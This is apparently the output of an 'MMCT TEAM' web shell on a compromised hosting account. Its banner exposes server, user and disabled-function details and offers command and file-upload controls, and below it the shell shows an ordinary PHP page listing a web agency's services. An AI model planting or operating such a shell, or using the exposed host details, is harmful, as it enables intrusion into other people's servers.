MMCT TEAM
Server IP : 2a02:4780:2b:1556:0:9c6:43c4:d  /  Your IP : 216.73.217.162
Web Server : LiteSpeed
System : Linux us-bos-web1456.main-hosting.eu 4.18.0-553.121.1.lve.el8.x86_64 #1 SMP Thu Apr 30 16:40:41 UTC 2026 x86_64
User : u163988420 ( 163988420)
PHP Version : 8.5.4
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail, proc_open
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u163988420/public_html/AACSITE/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/u163988420/public_html/AACSITE/service-details.php
<?php include 'includes/header.php'; ?>

<?php
$service_slug = $_GET['service'] ?? '';

$services = [
    ["icon" => "bi-code-slash", "title" => "Website Development", "slug" => "web-development", "desc" => "Modern, responsive and high-performance websites tailored to your business.", "details" => "We create fast, secure, and SEO-friendly websites including business sites, e-commerce platforms, and custom web applications built with the latest frameworks and performance standards.", "image" => "assets/images/cta-bg.png", "features" => ["Responsive Design", "SEO Friendly Structure", "Fast Loading Speed", "Secure Coding Standards"], "tech" => ["PHP", "Laravel", "React", "MySQL", "Bootstrap"], "stats" => [["num" => "50+", "label" => "Sites Built"], ["num" => "99%", "label" => "Uptime SLA"], ["num" => "3x", "label" => "Faster Load"]]],
    ["icon" => "bi-cloud", "title" => "Salesforce Solutions", "slug" => "salesforce-solutions", "desc" => "Custom Salesforce solutions to streamline your business processes.", "details" => "We provide Salesforce customization, automation, and integration to improve productivity and customer relationship management across your entire organization.", "image" => "assets/images/cta-bg.png", "features" => ["CRM Customization", "Workflow Automation", "Third-party Integration", "Data Management"], "tech" => ["Salesforce", "Apex", "Lightning", "REST API", "Heroku"], "stats" => [["num" => "20+", "label" => "CRM Setups"], ["num" => "40%", "label" => "Efficiency Gain"], ["num" => "5★", "label" => "Rating"]]],
    ["icon" => "bi-phone", "title" => "Application Development", "slug" => "application-development", "desc" => "Scalable mobile and web applications for modern business needs.", "details" => "We build Android, iOS, and web apps with high performance, security, and user-friendly interfaces that drive engagement and retention.", "image" => "assets/images/cta-bg.png", "features" => ["Android & iOS Apps", "User-friendly UI/UX", "High Performance", "Secure Architecture"], "tech" => ["Flutter", "React Native", "Firebase", "Node.js", "Swift"], "stats" => [["num" => "15+", "label" => "Apps Built"], ["num" => "4.8★", "label" => "App Rating"], ["num" => "2M+", "label" => "Users"]]],
    ["icon" => "bi-laptop", "title" => "Software Development", "slug" => "software-development", "desc" => "Robust and efficient software solutions to automate your workflow.", "details" => "Custom software tailored to your business needs with scalable architecture and modern technologies that streamline operations and reduce costs.", "image" => "assets/images/cta-bg.png", "features" => ["Custom Software", "Automation Solutions", "Scalable Systems", "Cloud Integration"], "tech" => ["Python", "Node.js", "Docker", "AWS", "PostgreSQL"], "stats" => [["num" => "25+", "label" => "Projects"], ["num" => "60%", "label" => "Cost Savings"], ["num" => "24/7", "label" => "Monitoring"]]],
    ["icon" => "bi-bar-chart", "title" => "Digital Marketing", "slug" => "digital-marketing", "desc" => "Grow your online presence with SEO, social media and marketing strategies.", "details" => "We help businesses grow with SEO, social media marketing, PPC campaigns, and content strategies that deliver measurable ROI and lasting results.", "image" => "assets/images/cta-bg.png", "features" => ["SEO Optimization", "Social Media Marketing", "Google Ads (PPC)", "Content Strategy"], "tech" => ["Google Ads", "Meta Ads", "SEMrush", "HubSpot", "Analytics"], "stats" => [["num" => "3x", "label" => "Avg. ROI"], ["num" => "200%", "label" => "Traffic Increase"], ["num" => "50+", "label" => "Campaigns"]]],
    ["icon" => "bi-palette", "title" => "Graphic Designing", "slug" => "graphic-designing", "desc" => "Creative and visually appealing designs for branding and marketing.", "details" => "We design logos, branding materials, UI/UX designs, and marketing creatives that communicate your brand identity powerfully and memorably.", "image" => "assets/images/cta-bg.png", "features" => ["Logo Design", "Brand Identity", "UI/UX Design", "Marketing Creatives"], "tech" => ["Illustrator", "Photoshop", "Figma", "After Effects", "InDesign"], "stats" => [["num" => "100+", "label" => "Designs Done"], ["num" => "30+", "label" => "Brands Built"], ["num" => "5★", "label" => "Client Rating"]]],
    ["icon" => "bi-globe", "title" => "SEO Optimization", "slug" => "seo-optimization", "desc" => "Improve your website ranking and visibility on search engines.", "details" => "We optimize your website for search engines to increase organic traffic and improve rankings through technical SEO, content and link strategies.", "image" => "assets/images/cta-bg.png", "features" => ["Keyword Research", "On-page SEO", "Technical SEO", "Ranking Improvement"], "tech" => ["SEMrush", "Ahrefs", "Search Console", "Screaming Frog", "Analytics"], "stats" => [["num" => "Top 3", "label" => "Avg. Ranking"], ["num" => "150%", "label" => "Traffic Boost"], ["num" => "40+", "label" => "Clients Ranked"]]],
    ["icon" => "bi-cart", "title" => "E-commerce Development", "slug" => "e-commerce-development", "desc" => "Build powerful online stores with seamless user experience.", "details" => "We develop secure and scalable e-commerce platforms with payment integration, inventory management, and advanced features for maximum conversions.", "image" => "assets/images/cta-bg.png", "features" => ["Online Store Setup", "Payment Gateway Integration", "Product Management", "Secure Checkout"], "tech" => ["WooCommerce", "Shopify", "Laravel", "Stripe", "PayPal"], "stats" => [["num" => "20+", "label" => "Stores Live"], ["num" => "35%", "label" => "Conversion Lift"], ["num" => "PCI", "label" => "Compliant"]]],
    ["icon" => "bi-shield-check", "title" => "Website Security", "slug" => "website-security", "desc" => "Protect your website with advanced security solutions.", "details" => "We secure your website from threats, malware, and vulnerabilities with modern security practices, continuous monitoring, and rapid incident response.", "image" => "assets/images/cta-bg.png", "features" => ["Malware Protection", "SSL Security", "Firewall Setup", "Regular Monitoring"], "tech" => ["Cloudflare", "Let's Encrypt", "WAF", "Sucuri", "ModSecurity"], "stats" => [["num" => "99.9%", "label" => "Threat Blocked"], ["num" => "24/7", "label" => "Monitoring"], ["num" => "0", "label" => "Breaches"]]],
    ["icon" => "bi-server", "title" => "Web Hosting", "slug" => "web-hosting", "desc" => "Fast and secure hosting solutions for your business.", "details" => "Reliable hosting services with high uptime, lightning-fast speed, and bank-grade security to keep your business online around the clock.", "image" => "assets/images/cta-bg.png", "features" => ["99.9% Uptime", "High-Speed Servers", "Secure Hosting", "24/7 Support"], "tech" => ["cPanel", "Nginx", "Redis", "Cloudflare", "SSD NVMe"], "stats" => [["num" => "99.9%", "label" => "Uptime"], ["num" => "<50ms", "label" => "Response"], ["num" => "24/7", "label" => "Support"]]],
    ["icon" => "bi-diagram-3", "title" => "API Development & Integration", "slug" => "api-development-integration", "desc" => "We build and integrate secure APIs to connect your systems.", "details" => "Custom API development and integration to connect platforms and enable seamless data exchange between your applications and third-party services.", "image" => "assets/images/cta-bg.png", "features" => ["REST API Development", "System Integration", "Secure Data Exchange", "Third-party APIs"], "tech" => ["REST", "GraphQL", "Node.js", "OAuth", "Swagger"], "stats" => [["num" => "30+", "label" => "APIs Built"], ["num" => "99.8%", "label" => "Uptime"], ["num" => "<100ms", "label" => "Response"]]],
    ["icon" => "bi-speedometer2", "title" => "Performance Optimization", "slug" => "performance-optimization", "desc" => "Improve website speed, performance, and user experience.", "details" => "We optimize speed, performance, and loading time through code refactoring, caching strategies, and CDN integration for superior user engagement.", "image" => "assets/images/cta-bg.png", "features" => ["Speed Optimization", "Core Web Vitals", "Caching & CDN", "Performance Monitoring"], "tech" => ["GTmetrix", "PageSpeed", "Redis", "Cloudflare CDN", "Webpack"], "stats" => [["num" => "3x", "label" => "Speed Gain"], ["num" => "95+", "label" => "PageSpeed Score"], ["num" => "40%", "label" => "Bounce Drop"]]],
];

$service = null;
foreach ($services as $s) {
    if ($s['slug'] == $service_slug) {
        $service = $s;
        break;
    }
}

// Related services (exclude current)
$related = array_filter($services, fn($s) => $s['slug'] !== $service_slug);
$related = array_slice(array_values($related), 0, 3);
?>

<!-- ====== PAGE HERO ====== -->
<section class="page-hero">
    <div class="overlay"></div>
    <div class="hero-grid-lines">
        <?php for ($i = 0; $i < 8; $i++): ?><div class="grid-line"></div><?php endfor; ?>
    </div>
    <div class="container text-center" style="position:relative;z-index:2">
        <div class="hero-eyebrow"><span class="badge-dot"></span><span>SERVICE DETAIL</span></div>
        <h1><?php echo $service['title'] ?? 'Service'; ?></h1>
        <p><?php echo $service['desc'] ?? ''; ?></p>
        <div class="hero-breadcrumb">
            <a href="index.php">Home</a>
            <i class="bi bi-chevron-right"></i>
            <a href="services.php">Services</a>
            <i class="bi bi-chevron-right"></i>
            <span><?php echo $service['title'] ?? 'Detail'; ?></span>
        </div>
    </div>
</section>

<style>
    /* ====== PAGE HERO ====== */
    .page-hero {
        position: relative;
        padding: 130px 0 100px;
        background: linear-gradient(135deg, #020509 0%, #041020 60%, #060d14 100%);
        overflow: hidden;
    }

    .page-hero .overlay {
        position: absolute;
        inset: 0;
        background: radial-gradient(ellipse at 60% 50%, rgba(0, 212, 255, 0.05) 0%, transparent 70%);
    }

    .hero-grid-lines {
        position: absolute;
        inset: 0;
        display: flex;
        justify-content: space-around;
        pointer-events: none;
    }

    .grid-line {
        width: 1px;
        height: 100%;
        background: linear-gradient(to bottom, transparent, rgba(0, 212, 255, 0.08), transparent);
        animation: grid-pulse 4s ease-in-out infinite;
    }

    .grid-line:nth-child(odd) {
        animation-delay: -2s
    }

    @keyframes grid-pulse {

        0%,
        100% {
            opacity: .3
        }

        50% {
            opacity: 1
        }
    }

    .hero-eyebrow {
        display: inline-flex;
        align-items: center;
        gap: 8px;
        background: rgba(0, 212, 255, 0.06);
        border: 1px solid rgba(0, 212, 255, 0.25);
        border-radius: 30px;
        padding: 6px 18px;
        margin-bottom: 20px;
        font-family: 'Orbitron', monospace;
        font-size: 10px;
        letter-spacing: 3px;
        color: #00d4ff
    }

    .badge-dot {
        width: 6px;
        height: 6px;
        background: #00d4ff;
        border-radius: 50%;
        box-shadow: 0 0 8px #00d4ff;
        animation: pulse-dot 2s infinite
    }

    @keyframes pulse-dot {

        0%,
        100% {
            opacity: 1;
            transform: scale(1)
        }

        50% {
            opacity: .5;
            transform: scale(.8)
        }
    }

    .page-hero h1 {
        font-family: 'Orbitron', monospace;
        font-size: clamp(26px, 5vw, 48px);
        font-weight: 800;
        color: #e8f4ff;
        margin-bottom: 14px;
        letter-spacing: 1px
    }

    .page-hero h1 span {
        color: #00d4ff
    }

    .page-hero p {
        color: #5a8a9f;
        font-size: 16px;
        max-width: 550px;
        margin: 0 auto 24px;
        line-height: 1.7
    }

    .hero-breadcrumb {
        display: inline-flex;
        align-items: center;
        gap: 8px;
        font-size: 11px;
        color: #4a7a9b;
        font-family: 'Orbitron', monospace;
        letter-spacing: 1px;
        flex-wrap: wrap;
        justify-content: center
    }

    .hero-breadcrumb a {
        color: #00d4ff;
        text-decoration: none
    }

    .hero-breadcrumb i {
        font-size: 9px
    }

    /* ====== SHARED ====== */
    .btn-primary-tech {
        display: inline-flex;
        align-items: center;
        gap: 10px;
        background: linear-gradient(135deg, #00d4ff, #0099cc);
        color: #020509;
        padding: 14px 30px;
        border-radius: 8px;
        font-weight: 700;
        font-size: 13px;
        font-family: 'Orbitron', monospace;
        letter-spacing: 1px;
        text-decoration: none;
        transition: all 0.3s;
        box-shadow: 0 0 25px rgba(0, 212, 255, 0.35)
    }

    .btn-primary-tech:hover {
        transform: translateY(-3px);
        box-shadow: 0 0 40px rgba(0, 212, 255, 0.6);
        color: #020509
    }

    .btn-ghost-tech {
        display: inline-flex;
        align-items: center;
        gap: 10px;
        background: transparent;
        color: #e8f4ff;
        padding: 13px 28px;
        border-radius: 8px;
        font-weight: 600;
        font-size: 13px;
        text-decoration: none;
        border: 1px solid rgba(0, 212, 255, 0.3);
        transition: all 0.3s;
        font-family: 'Orbitron', monospace
    }

    .btn-ghost-tech:hover {
        background: rgba(0, 212, 255, 0.08);
        border-color: #00d4ff;
        color: #00d4ff;
        transform: translateY(-2px)
    }

    .cta-section-dark {
        position: relative
    }

    .cta-box-dark {
        background: rgba(6, 18, 32, 0.8);
        border: 1px solid rgba(0, 212, 255, 0.2);
        border-radius: 16px;
        padding: 70px 40px;
        position: relative;
        overflow: hidden;
        backdrop-filter: blur(12px)
    }

    .cta-box-dark::before {
        content: "";
        position: absolute;
        inset: 0;
        background: radial-gradient(ellipse at center, rgba(0, 212, 255, 0.04), transparent 70%);
        pointer-events: none
    }

    .cta-corner {
        position: absolute;
        width: 20px;
        height: 20px;
        border-color: rgba(0, 212, 255, 0.5);
        border-style: solid
    }

    .cta-tl {
        top: 12px;
        left: 12px;
        border-width: 2px 0 0 2px
    }

    .cta-tr {
        top: 12px;
        right: 12px;
        border-width: 2px 2px 0 0
    }

    .cta-bl {
        bottom: 12px;
        left: 12px;
        border-width: 0 0 2px 2px
    }

    .cta-br {
        bottom: 12px;
        right: 12px;
        border-width: 0 2px 2px 0
    }

    .cta-badge {
        display: inline-flex;
        align-items: center;
        gap: 8px;
        background: rgba(0, 212, 255, 0.06);
        border: 1px solid rgba(0, 212, 255, 0.25);
        border-radius: 30px;
        padding: 6px 16px;
        font-size: 10px;
        letter-spacing: 3px;
        color: #00d4ff;
        font-family: 'Orbitron', monospace
    }

    .cta-box-dark h2 {
        font-family: 'Orbitron', monospace;
        font-size: clamp(22px, 4vw, 40px);
        font-weight: 700;
        color: #e8f4ff;
        margin-bottom: 16px;
        position: relative
    }

    .cta-box-dark p {
        font-size: 15px;
        color: #5a8a9f;
        max-width: 550px;
        margin: 0 auto 36px;
        line-height: 1.7;
        position: relative
    }

    .cta-buttons-dark {
        display: flex;
        gap: 16px;
        justify-content: center;
        flex-wrap: wrap;
        position: relative
    }

    @media(max-width:768px) {
        .cta-box-dark {
            padding: 50px 24px
        }
    }
</style>


<?php if ($service): ?>

    <!-- ====== SERVICE DETAIL ====== -->
    <section class="sd-section py-5">
        <div class="container">
            <div class="row align-items-start g-5">

                <!-- Left: Image + Stats -->
                <div class="col-lg-5">

                    <div class="sd-img-wrap">
                        <div class="sd-img-frame">
                            <img src="<?php echo $service['image']; ?>" alt="<?php echo $service['title']; ?>">
                            <div class="sd-img-scan"></div>
                            <!-- Icon badge -->
                            <div class="sd-icon-badge">
                                <i class="bi <?php echo $service['icon']; ?>"></i>
                            </div>
                        </div>
                        <div class="sd-corner sd-tl"></div>
                        <div class="sd-corner sd-tr"></div>
                        <div class="sd-corner sd-bl"></div>
                        <div class="sd-corner sd-br"></div>
                    </div>

                    <!-- Stats row -->
                    <div class="sd-stats-row">
                        <?php foreach ($service['stats'] as $stat): ?>
                            <div class="sd-stat">
                                <span class="sd-stat-num"><?php echo $stat['num']; ?></span>
                                <span class="sd-stat-label"><?php echo $stat['label']; ?></span>
                            </div>
                        <?php endforeach; ?>
                    </div>

                    <!-- Tech stack -->
                    <div class="sd-tech-box mt-4">
                        <div class="sd-tech-label">TECH STACK</div>
                        <div class="sd-tech-tags">
                            <?php foreach ($service['tech'] as $t): ?>
                                <span><?php echo $t; ?></span>
                            <?php endforeach; ?>
                        </div>
                    </div>

                </div>

                <!-- Right: Content -->
                <div class="col-lg-7">

                    <!-- Title -->
                    <div class="sd-eyebrow">
                        <i class="bi <?php echo $service['icon']; ?>"></i>
                        <span><?php echo strtoupper($service['title']); ?></span>
                    </div>

                    <h2 class="section-title left"><?php echo $service['title']; ?></h2>

                    <p class="sd-desc"><?php echo $service['details']; ?></p>

                    <!-- Divider -->
                    <div class="sd-divider"></div>

                    <!-- Features grid -->
                    <h6 class="sd-features-title">KEY FEATURES</h6>
                    <div class="sd-features-grid">
                        <?php foreach ($service['features'] as $i => $feature): ?>
                            <div class="sd-feature" style="--i:<?php echo $i; ?>">
                                <div class="sdf-icon"><i class="bi bi-check2-circle"></i></div>
                                <span><?php echo $feature; ?></span>
                            </div>
                        <?php endforeach; ?>
                    </div>

                    <!-- Divider -->
                    <div class="sd-divider mt-4"></div>

                    <!-- Why choose us points -->
                    <h6 class="sd-features-title mt-4">WHY CHOOSE US FOR THIS</h6>
                    <div class="sd-why-list">
                        <?php
                        $why = ["Experienced team with proven track record", "Transparent communication throughout", "On-time delivery guaranteed", "Post-launch support & maintenance"];
                        foreach ($why as $w): ?>
                            <div class="sd-why-item">
                                <div class="sdf-icon"><i class="bi bi-shield-check"></i></div>
                                <span><?php echo $w; ?></span>
                            </div>
                        <?php endforeach; ?>
                    </div>

                    <!-- Buttons -->
                    <div class="sd-buttons mt-4">
                        <a href="contact.php" class="btn-primary-tech">
                            <span>Get This Service</span>
                            <i class="bi bi-arrow-right"></i>
                        </a>
                        <a href="tel:9999999999" class="btn-ghost-tech">
                            <i class="bi bi-telephone me-1"></i>
                            <span>Call Now</span>
                        </a>
                    </div>

                </div>

            </div>
        </div>
    </section>

    <style>
        .sd-section {
            position: relative;
        }

        /* Image wrap */
        .sd-img-wrap {
            position: relative;
            padding: 16px;
        }

        .sd-img-frame {
            position: relative;
            overflow: hidden;
            border-radius: 12px;
            border: 1px solid rgba(0, 212, 255, 0.15);
        }

        .sd-img-frame img {
            width: 100%;
            display: block;
            filter: brightness(0.7) saturate(0.65);
            transition: 0.5s;
            border-radius: 12px;
        }

        .sd-img-wrap:hover .sd-img-frame img {
            filter: brightness(0.8) saturate(0.8);
        }

        /* Scan */
        .sd-img-scan {
            position: absolute;
            top: -5%;
            left: 0;
            width: 100%;
            height: 2px;
            background: linear-gradient(90deg, transparent, rgba(0, 212, 255, 0.6), transparent);
            animation: img-scan 4s linear infinite;
        }

        @keyframes img-scan {
            0% {
                top: -5%;
                opacity: 1
            }

            90% {
                top: 105%;
                opacity: 1
            }

            91%,
            100% {
                top: -5%;
                opacity: 0
            }
        }

        /* Icon badge */
        .sd-icon-badge {
            position: absolute;
            top: 16px;
            left: 16px;
            width: 50px;
            height: 50px;
            background: rgba(6, 18, 32, 0.95);
            border: 1px solid rgba(0, 212, 255, 0.35);
            border-radius: 10px;
            display: flex;
            align-items: center;
            justify-content: center;
            backdrop-filter: blur(10px);
        }

        .sd-icon-badge i {
            font-size: 22px;
            color: #00d4ff;
            text-shadow: 0 0 12px rgba(0, 212, 255, 0.6);
        }

        /* Corners */
        .sd-corner {
            position: absolute;
            width: 18px;
            height: 18px;
            border-color: rgba(0, 212, 255, 0.45);
            border-style: solid;
        }

        .sd-tl {
            top: 4px;
            left: 4px;
            border-width: 2px 0 0 2px
        }

        .sd-tr {
            top: 4px;
            right: 4px;
            border-width: 2px 2px 0 0
        }

        .sd-bl {
            bottom: 4px;
            left: 4px;
            border-width: 0 0 2px 2px
        }

        .sd-br {
            bottom: 4px;
            right: 4px;
            border-width: 0 2px 2px 0
        }

        /* Stats row */
        .sd-stats-row {
            display: flex;
            gap: 0;
            margin-top: 20px;
            background: rgba(6, 18, 32, 0.7);
            border: 1px solid rgba(0, 212, 255, 0.12);
            border-radius: 10px;
            overflow: hidden;
            backdrop-filter: blur(10px);
        }

        .sd-stat {
            flex: 1;
            text-align: center;
            padding: 18px 10px;
            border-right: 1px solid rgba(0, 212, 255, 0.08);
            transition: 0.3s;
        }

        .sd-stat:last-child {
            border-right: none;
        }

        .sd-stat:hover {
            background: rgba(0, 212, 255, 0.05);
        }

        .sd-stat-num {
            display: block;
            font-family: 'Orbitron', monospace;
            font-size: 18px;
            font-weight: 700;
            color: #00d4ff;
            text-shadow: 0 0 15px rgba(0, 212, 255, 0.4);
        }

        .sd-stat-label {
            font-size: 10px;
            color: #4a7a9b;
            letter-spacing: 1px;
            text-transform: uppercase;
        }

        /* Tech box */
        .sd-tech-box {
            background: rgba(6, 18, 32, 0.6);
            border: 1px solid rgba(0, 212, 255, 0.1);
            border-radius: 10px;
            padding: 18px 20px;
            backdrop-filter: blur(10px);
        }

        .sd-tech-label {
            font-family: 'Orbitron', monospace;
            font-size: 9px;
            letter-spacing: 3px;
            color: rgba(0, 212, 255, 0.5);
            margin-bottom: 12px;
        }

        .sd-tech-tags {
            display: flex;
            flex-wrap: wrap;
            gap: 8px;
        }

        .sd-tech-tags span {
            font-size: 11px;
            color: #00d4ff;
            background: rgba(0, 212, 255, 0.07);
            border: 1px solid rgba(0, 212, 255, 0.2);
            padding: 5px 14px;
            border-radius: 6px;
            font-family: 'Orbitron', monospace;
            letter-spacing: 0.5px;
            transition: 0.3s;
        }

        .sd-tech-tags span:hover {
            background: rgba(0, 212, 255, 0.15);
            border-color: #00d4ff;
        }

        /* Eyebrow */
        .sd-eyebrow {
            display: inline-flex;
            align-items: center;
            gap: 8px;
            font-family: 'Orbitron', monospace;
            font-size: 10px;
            letter-spacing: 3px;
            color: #00d4ff;
            margin-bottom: 16px;
        }

        .sd-eyebrow i {
            font-size: 14px;
        }

        /* Desc */
        .sd-desc {
            font-size: 14px;
            color: #5a8a9f;
            line-height: 1.85;
            margin-bottom: 10px;
        }

        /* Divider */
        .sd-divider {
            height: 1px;
            background: linear-gradient(90deg, rgba(0, 212, 255, 0.3), transparent);
            margin: 20px 0;
        }

        /* Features */
        .sd-features-title {
            font-family: 'Orbitron', monospace;
            font-size: 9px;
            letter-spacing: 3px;
            color: rgba(0, 212, 255, 0.5);
            margin-bottom: 14px;
        }

        .sd-features-grid {
            display: grid;
            grid-template-columns: 1fr 1fr;
            gap: 10px;
        }

        .sd-feature {
            display: flex;
            align-items: center;
            gap: 12px;
            padding: 12px 16px;
            background: rgba(0, 212, 255, 0.03);
            border: 1px solid rgba(0, 212, 255, 0.08);
            border-radius: 8px;
            transition: all 0.3s;
            animation: card-in 0.5s ease calc(var(--i)*0.08s) both;
        }

        @keyframes card-in {
            from {
                opacity: 0;
                transform: translateY(15px)
            }

            to {
                opacity: 1;
                transform: translateY(0)
            }
        }

        .sd-feature:hover {
            background: rgba(0, 212, 255, 0.07);
            border-color: rgba(0, 212, 255, 0.22);
            transform: translateX(4px);
        }

        .sdf-icon {
            width: 30px;
            height: 30px;
            flex-shrink: 0;
            background: rgba(0, 212, 255, 0.08);
            border: 1px solid rgba(0, 212, 255, 0.18);
            border-radius: 6px;
            display: flex;
            align-items: center;
            justify-content: center;
        }

        .sdf-icon i {
            color: #00d4ff;
            font-size: 14px;
        }

        .sd-feature span {
            font-size: 12px;
            color: #8ab4cc;
            font-weight: 500;
        }

        /* Why list */
        .sd-why-list {
            display: flex;
            flex-direction: column;
            gap: 10px;
        }

        .sd-why-item {
            display: flex;
            align-items: center;
            gap: 12px;
            padding: 10px 16px;
            background: rgba(0, 100, 0, 0.05);
            border: 1px solid rgba(0, 200, 100, 0.1);
            border-radius: 8px;
            font-size: 13px;
            color: #7aaa8a;
            transition: 0.3s;
        }

        .sd-why-item:hover {
            background: rgba(0, 200, 100, 0.07);
            border-color: rgba(0, 200, 100, 0.2);
        }

        .sd-why-item .sdf-icon {
            background: rgba(0, 200, 100, 0.08);
            border-color: rgba(0, 200, 100, 0.2);
        }

        .sd-why-item .sdf-icon i {
            color: #00ff88;
        }

        /* Buttons */
        .sd-buttons {
            display: flex;
            gap: 14px;
            flex-wrap: wrap;
        }

        @media(max-width:768px) {
            .sd-features-grid {
                grid-template-columns: 1fr;
            }

            .sd-buttons {
                flex-direction: column;
            }
        }
    </style>


    <!-- ====== RELATED SERVICES ====== -->
    <section class="related-services py-5">
        <div class="container">

            <div class="text-center mb-5">
                <h2 class="section-title">Other <span>Services</span></h2>
                <p class="section-subtitle">Explore more of what we offer to power your business forward.</p>
            </div>

            <div class="row">
                <?php foreach ($related as $i => $rel): ?>
                    <div class="col-lg-4 col-md-6 mb-4">
                        <div class="rel-card" style="--i:<?php echo $i; ?>">
                            <div class="rel-num"><?php echo str_pad($i + 1, 2, '0', STR_PAD_LEFT); ?></div>
                            <div class="rel-icon"><i class="bi <?php echo $rel['icon']; ?>"></i></div>
                            <h5><?php echo $rel['title']; ?></h5>
                            <p><?php echo $rel['desc']; ?></p>
                            <a href="service-details.php?service=<?php echo $rel['slug']; ?>" class="rel-link">
                                <span>Learn More</span><i class="bi bi-arrow-right"></i>
                            </a>
                            <div class="rel-glow-bar"></div>
                        </div>
                    </div>
                <?php endforeach; ?>
            </div>

        </div>
    </section>

    <style>
        .related-services {
            position: relative;
        }

        .rel-card {
            background: rgba(6, 18, 32, 0.65);
            border: 1px solid rgba(0, 212, 255, 0.1);
            border-radius: 12px;
            padding: 28px 22px;
            height: 100%;
            text-align: center;
            position: relative;
            overflow: hidden;
            backdrop-filter: blur(10px);
            transition: all 0.4s;
            animation: card-in 0.6s ease calc(var(--i)*0.1s) both;
        }

        .rel-glow-bar {
            position: absolute;
            top: 0;
            left: 0;
            width: 100%;
            height: 2px;
            background: linear-gradient(90deg, transparent, #00d4ff, transparent);
            transform: scaleX(0);
            transition: 0.4s;
        }

        .rel-card:hover {
            transform: translateY(-10px);
            border-color: rgba(0, 212, 255, 0.35);
            box-shadow: 0 20px 50px rgba(0, 0, 0, 0.4), 0 0 25px rgba(0, 212, 255, 0.08);
        }

        .rel-card:hover .rel-glow-bar {
            transform: scaleX(1);
        }

        .rel-num {
            position: absolute;
            top: 12px;
            right: 14px;
            font-family: 'Orbitron', monospace;
            font-size: 10px;
            color: rgba(0, 212, 255, 0.2);
        }

        .rel-card:hover .rel-num {
            color: rgba(0, 212, 255, 0.5);
        }

        .rel-icon {
            width: 60px;
            height: 60px;
            background: rgba(0, 212, 255, 0.07);
            border: 1px solid rgba(0, 212, 255, 0.2);
            border-radius: 50%;
            display: flex;
            align-items: center;
            justify-content: center;
            margin: 0 auto 16px;
            transition: 0.4s;
        }

        .rel-icon i {
            font-size: 24px;
            color: #00d4ff;
            transition: 0.3s;
        }

        .rel-card:hover .rel-icon {
            background: rgba(0, 212, 255, 0.14);
            border-color: rgba(0, 212, 255, 0.5);
            box-shadow: 0 0 20px rgba(0, 212, 255, 0.2);
        }

        .rel-card:hover .rel-icon i {
            transform: scale(1.2) rotate(-8deg);
            text-shadow: 0 0 12px rgba(0, 212, 255, 0.7);
        }

        .rel-card h5 {
            font-family: 'Orbitron', monospace;
            font-size: 12px;
            font-weight: 600;
            color: #c8e8ff;
            margin-bottom: 10px;
            letter-spacing: 0.5px;
        }

        .rel-card p {
            font-size: 12px;
            color: #4a7a9b;
            line-height: 1.6;
            margin-bottom: 16px;
        }

        .rel-link {
            display: inline-flex;
            align-items: center;
            gap: 6px;
            color: #00d4ff;
            font-size: 11px;
            font-weight: 600;
            letter-spacing: 2px;
            text-decoration: none;
            text-transform: uppercase;
            font-family: 'Orbitron', monospace;
            transition: 0.3s;
        }

        .rel-link:hover {
            color: #fff;
            gap: 10px;
        }
    </style>

<?php else: ?>

    <div class="container text-center py-5">
        <div class="service-notfound">
            <i class="bi bi-exclamation-triangle"></i>
            <h2>Service Not Found</h2>
            <p>The service you're looking for doesn't exist or may have been moved.</p>
            <a href="services.php" class="btn-primary-tech mt-3"><span>View All Services</span><i class="bi bi-arrow-right"></i></a>
        </div>
    </div>

    <style>
        .service-notfound {
            padding: 80px 20px;
        }

        .service-notfound i {
            font-size: 60px;
            color: rgba(0, 212, 255, 0.3);
            display: block;
            margin-bottom: 20px;
        }

        .service-notfound h2 {
            font-family: 'Orbitron', monospace;
            color: #c8e8ff;
            font-size: 24px;
            margin-bottom: 12px;
        }

        .service-notfound p {
            color: #4a7a9b;
            margin-bottom: 24px;
        }
    </style>

<?php endif; ?>


<!-- ====== CTA ====== -->
<section class="cta-section-dark my-5 py-5">
    <div class="container">
        <div class="cta-box-dark text-center">
            <div class="cta-corner cta-tl"></div>
            <div class="cta-corner cta-tr"></div>
            <div class="cta-corner cta-bl"></div>
            <div class="cta-corner cta-br"></div>
            <div class="cta-badge mb-4"><span class="badge-dot"></span><span>GET STARTED TODAY</span></div>
            <h2>Ready to Get <span style="color:#00d4ff"><?php echo $service['title'] ?? 'This Service'; ?></span>?</h2>
            <p>Let's discuss your requirements and build something extraordinary together. First consultation is free.</p>
            <div class="cta-buttons-dark">
                <a href="contact.php" class="btn-primary-tech"><span>Get Free Consultation</span><i class="bi bi-arrow-right"></i></a>
                <a href="tel:9999999999" class="btn-ghost-tech"><i class="bi bi-telephone me-2"></i><span>Call Now</span></a>
            </div>
        </div>
    </div>
</section>

<?php include 'includes/footer.php'; ?>

MMCT - 2023